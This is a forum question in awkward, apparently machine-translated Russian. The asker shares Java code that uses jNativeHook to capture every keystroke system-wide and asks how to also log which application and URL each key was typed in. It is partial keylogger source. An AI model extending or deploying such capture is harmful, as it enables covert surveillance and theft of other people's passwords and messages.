Как обнаружить программное обеспечение, запрессованное в Java
Я делаю программное обеспечение кейлоггер, и я хочу обнаружить набранную клавишу, а также определить, где эта клавиша нажата. как я хочу вести учет программного обеспечения, в котором оно нажата. Точно так же, как клавиша нажата в Google Chrome и в каком URL она нажата, или клавиша нажата в скайпе или любом другом программном обеспечении, поэтому я хочу сохранить запись об этом тоже.
мой код приведен ниже:
try {
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new NativeKeyListener() {
@Override
public void nativeKeyTyped(NativeKeyEvent nke) {
}
@Override
public void nativeKeyPressed(NativeKeyEvent nke) {
loopend =true;
String keytext = NativeKeyEvent.getKeyText(nke.getKeyCode());
if(!"\\n".equals(keytext)){
System.out.println("Key Pressed: "+ keytext);
list.add(keytext);
}else{
for(String a: list){
System.out.println(a);
}
// System.exit(0);
}
}
@Override
public void nativeKeyReleased(NativeKeyEvent nke) {
}
});
} catch (NativeHookException ex) {
System.out.println(ex);
}
// }
loopend = false;
Я использую библиотеку jNativeHook